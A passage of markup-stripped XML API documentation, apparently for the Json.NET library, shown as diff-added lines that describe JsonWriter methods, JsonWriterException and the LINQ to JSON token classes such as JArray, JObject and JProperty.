updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously ets the state of the . + + The being written. + The value being written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the list changes or an item in the list changes. + + + + + Occurs before an item is added to the collection. + + + + + Occurs when the items list of the collection has changed, or the collection is reset. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Occurs when a property value is changing. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Represents a JSON property. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a view of a . + + + + + Initializes a new instance of the class. + + The name. + + + + When overridden in a derived class, returns whether resetting an object changes its value. + + + true if resetting the component changes its value; otherwise, false. + + The component to test for reset capability. + + + + When overridden in a derived class, gets the current value of the property on a component. + + + The value of a property for a given component. + + The component with the property for which to retrieve the value. + + + + When overridden in a derived class, resets the value for this property of the component to the default value. + + The component with the property value that is to be reset to the default value. + + + + When overridden in a derived class, sets the value of the component to a different value. + + The component with the property value that is to be set. + The new value. + + + + When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. + + + true if the property should be persisted; otherwise, false. + + The component with the property to be examined for persistence. + + + + When overridden in a derived class, gets the type of the component this property is bound to. + + + A that represents the type of component this property is bound to. + When the or + + methods are invoked, the object specified might be an instance of this type. + + + + + When overridden in a derived class, gets a value indicating whether this property is read-only. + + + true if the property is read-only; otherwise, false. + + + + + When overridden in a derived class, gets the type of the property. + + + A that represents the type of the property. + + + + + Gets the hash code for the name of the member. + + + + The hash code for the name of the member. + + + + + Represents a raw JSON string. + + + + + Asynchronously creates an instance of with the content of the reader's current token. + + The reader. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns an instance of with the content of the reader's current token. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class. + + The raw json. + + + + Creates an instance of with the content of the reader's current token. + + The reader. + An instance of with the content of the reader's current token. + + + + Specifies the settings used when cloning JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets a flag that indicates whether to copy annotations when cloning a . + The default value is true. + + + A flag that indicates whether to copy annotations when cloning a . + + + + + Specifies the settings used when loading JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets how JSON comments are handled when loading JSON. + The default value is . + + The JSON comment handling. + + + + Gets or sets how JSON line info is handled when loading JSON. + The default value is . + + The JSON line info handling. + + + + Gets or sets how duplicate property names in JSON objects are handled when loading JSON. + The default value is . + + The JSON duplicate property name handling. + + + + Specifies the settings used when merging JSON. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the method used when merging JSON arrays. + + The method used when merging JSON arrays. + + + + Gets or sets how null value properties are merged. + + How null value properties are merged. + + + + Gets or sets the comparison used to match property names while merging. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + The comparison used to match property names while merging. + + + + Specifies the settings used when selecting JSON. + + + + + Gets or sets a timeout that will be used when executing regular expressions. + + The timeout that will be used when executing regular expressions. + + + + Gets or sets a flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + A flag that indicates whether an error should be thrown if + no tokens are found when evaluating part of the expression. + + + + + Represents an abstract JSON token. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Writes this token to a asynchronously. + + A into which this method will write. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously creates a from a . + + An positioned at the token to read into this . + The token to monitor for cancellation requests. The default value is . + + A that represents the 